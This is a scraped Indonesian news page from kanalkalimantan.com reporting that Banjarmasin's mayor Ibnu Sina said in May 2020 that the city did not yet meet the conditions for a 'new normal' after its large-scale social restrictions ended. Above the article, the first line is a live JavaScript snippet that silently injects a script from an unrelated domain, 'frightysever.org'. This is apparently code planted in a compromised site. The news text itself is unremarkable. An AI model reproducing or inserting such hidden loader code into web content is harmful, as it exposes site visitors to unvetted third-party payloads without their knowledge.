(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Ini Kata Ibnu Sina Tentang Penerapan New Normal di Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Berakhirnya masa pemberlakuan Pembatasan Sosial Berskala Besar (PSBB) yang diterapkan oleh Kota Banjarmasin pada 31 Mei 2020, tidak menjadi jaminan bahwa kota seribu sungai ini langsung menerapkan new normal atau kenormalan baru.

Ini karena salah satu indikator pelaksanaan kenormalan baru adalah kondisi kurva dari kasus terkonfirmasi positif minimal harus dalam keadaan landai. Namun hal itu belum terlihat di Ibu Kota Provinsi Kalimantan Selatan itu.

“Masih ada ancaman peningkatan grafik kasus positif Covid-19, belum ada indikasi melandai. Jadi Banjarmasin belum memenuhi syarat dari Pemerintah Pusat dalam menerapkan kenormalan baru” ucap Wali Kota Banjarmasin H Ibnu Sina, Minggu (31/5/2020) sore.

Meski demikian, dia menyebut jika kondisi tanggap darurat pencegahan Covid-19 akan tetap diberlakukan setelah PSBB tahap III itu berakhir dengan tetap mewajibkan penerapan protokol kesehatan di aktivitas keseharian warga yang tinggal di Banjarmasin.

Aktivitas di salah satu pasar saat PSBB di Kota Banjarmasin. Foto: Fikri

Guna mendisiplinkan warga dalam menjalankan protokol tersebut, ia mengaku, dalam waktu dekat akan membuat Surat Keputusan (SK) Wali Kota yang ditujukan kepada Dandim 1007 Banjarmasin dan Kapolresta Banjarmasin sebagai koordinator dalam menjalankan tugas pendisiplinan warga.

“Sesuai arahan Presiden RI, dalam masa ini TNI-Polri akan bertindak sebagai garda terdepan dalam penegakan disiplin protokol kesehatan dalam pencegahan Covid-19,” ujar Ibnu.

Selain itu, ia menerangkan pihaknya akan mengikuti pedoman pelaksanaan aktivitas masyarakat sesuai dengan Keputusan Menteri Kesehatan Nomor 328. Sehingga, pemberlakuan jam malam dan pos jaga di perbatasan kota akan ditiadakan.

Namun kebijakan Perwali Nomor 37 tahun 2020 itu akan dialihkan ke dalam penerapan Pembatasan Sosial Berskala Kecil (PSBK) di tingkat kelurahan, kampung maupun komplek perumahan.

“Walaupun itu tidak ada di dalam Undang Undang RI, tapi bisa mengamankan lingkungan tempat tinggal warga, sehingga tetap mempersempit ruang penularan,” pungkas dia. (kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Dhani

 


Desy Arfianty

Recent Posts

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

3 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

4 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

4 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

6 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

6 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

10 jam ago

This website uses cookies.